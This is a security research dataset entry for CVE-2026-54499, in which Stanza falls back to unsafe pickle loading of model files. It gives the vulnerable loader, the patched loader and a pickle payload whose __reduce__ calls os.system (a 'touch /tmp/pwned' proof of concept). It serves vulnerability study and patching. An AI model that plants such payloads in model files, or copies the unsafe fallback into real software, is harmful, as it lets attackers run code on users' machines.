VAITP Dataset

← Back to the dataset

CVE-2026-54499

Stanza: Unsafe model deserialization can lead to arbitrary code execution.

  • CVSS 7.5
  • CWE-502
  • Input Validation and Sanitization
  • Local

Stanza is a Stanford NLP Python library for tokenization, sentence segmentation, NER, and parsing of many human languages. Prior to 1.12.2, Stanza model loaders such as stanza.models.common.pretrain.Pretrain.load() attempt torch.load(…, weights_only=True) but fall back to torch.load(…, weights_only=False) on attacker-controllable pickle.UnpicklingError, allowing a malicious .pt pretrain or model file to execute arbitrary pickle code when a Stanza NLP pipeline loads it. This issue is fixed in version 1.12.2.

CVSS base score
7.5
Published
2026-07-08
OWASP
A08 Software and Data Integrity Failures
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Insecure Parsing or Deserialization
Accessibility scope
Local
Impact
Arbitrary Code Execution
Affected component
Stanza
Fixed by upgrading
Yes

Solution

Upgrade Stanza to version 1.12.2 or later.

Vulnerable code sample

import torch
import pickle
import os
import io

# This class defines a malicious payload.
# When an object of this class is unpickled, its __reduce__ method is called,
# which allows for the execution of arbitrary functions.
# Here, it's set up to run the 'id' command on a Unix-like system.
class ArbitraryCodeExecutor:
    def __reduce__(self):
        # The tuple returned by __reduce__ is (callable, (args...))
        # This will execute os.system('echo "--- Arbitrary code executed ---"')
        command = 'echo "--- Arbitrary code executed by malicious pickle ---"'
        return (os.system, (command,))

def create_malicious_model_file(filename):
    """Creates a file that will fail safe loading but succeed with unsafe loading."""
    payload = ArbitraryCodeExecutor()
    with open(filename, 'wb') as f:
        # pickle.dump will serialize the object, including its __reduce__ method.
        pickle.dump(payload, f)
    print(f"Malicious file '{filename}' created.")

def vulnerable_load_function(filepath):
    """
    This function simulates the vulnerable loading logic from Stanza prior to v1.12.2.
    It first tries the safe `weights_only=True`, and on a specific failure,
    it falls back to the unsafe `weights_only=False`.
    """
    print("\nAttempting to load model...")
    try:
        # The safe way: only allows tensors, storages, and basic types.
        # This will raise an error because our file contains a custom class.
        print("-> Trying torch.load(..., weights_only=True) [SAFE]")
        torch.load(filepath, weights_only=True)
        print("Model loaded successfully in safe mode.")
    except pickle.UnpicklingError:
        # The vulnerable fallback: if the safe way fails, use the unsafe one.
        # This allows unpickling of arbitrary objects and code execution.
        print("-> Safe loading failed. Falling back to torch.load(..., weights_only=False) [UNSAFE]")
        # The malicious code inside the pickle is executed here.
        torch.load(filepath, weights_only=False)
        print("-> Model loaded in unsafe mode.")
    except Exception as e:
        # Catching other potential errors for clarity. In some torch versions,
        # the error might not be exactly pickle.UnpicklingError.
        print(f"-> An unexpected error occurred during safe loading: {type(e).__name__}")
        print("-> Falling back to torch.load(..., weights_only=False) [UNSAFE]")
        torch.load(filepath, weights_only=False)
        print("-> Model loaded in unsafe mode.")


if __name__ == "__main__":
    MALICIOUS_FILE = "malicious.pt"
    
    # 1. Create the malicious file that will exploit the vulnerability.
    create_malicious_model_file(MALICIOUS_FILE)

    # 2. Run the vulnerable function, which will load the malicious file.
    vulnerable_load_function(MALICIOUS_FILE)

    # 3. Clean up the created file.
    os.remove(MALICIOUS_FILE)
    print(f"\nCleaned up '{MALICIOUS_FILE}'.")

Patched code sample

import torch
import pickle

def fixed_model_loader(filename, device):
    """
    Demonstrates the fixed model loading logic from Stanza 1.12.2.
    The CVE describes a vulnerability where a fallback to unsafe
    `torch.load` occurs after a specific error. This function shows
    how that fallback is prevented.
    """
    try:
        # First, attempt the safe loading method which only allows tensors.
        # This will fail with a pickle.UnpicklingError if the file contains
        # pickled Python objects instead of just tensors.
        model_data = torch.load(filename, map_location=device, weights_only=True)

    except pickle.UnpicklingError:
        # This is the crucial part of the fix.
        # A malicious file can be crafted to fail the safe load and trigger this
        # specific error. The vulnerable version would then fall back to an
        # unsafe load. The fixed version explicitly catches this error and
        # raises a new exception, refusing to perform the unsafe operation.
        raise ValueError(
            "Loading a pickled model with weights_only=True failed. "
            "Refusing to fall back to unsafe pickle loading. "
            "The model file may be malicious or saved with an old version."
        )

    except (AttributeError, RuntimeError):
        # This fallback is for other errors, such as running on an old
        # PyTorch version that does not support the 'weights_only' argument.
        # It is distinct from the pickle.UnpicklingError case.
        model_data = torch.load(filename, map_location=device)

    return model_data

Payload

import torch
import os
import pickle

class ArbitraryCodeExecutor:
    def __reduce__(self):
        command = "touch /tmp/pwned"
        return (os.system, (command,))

torch.save(ArbitraryCodeExecutor(), "malicious_pretrain.pt")

Cite this entry

@misc{vaitp:cve202654499,
  title        = {{Stanza: Unsafe model deserialization can lead to arbitrary code execution.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-54499},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-54499/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::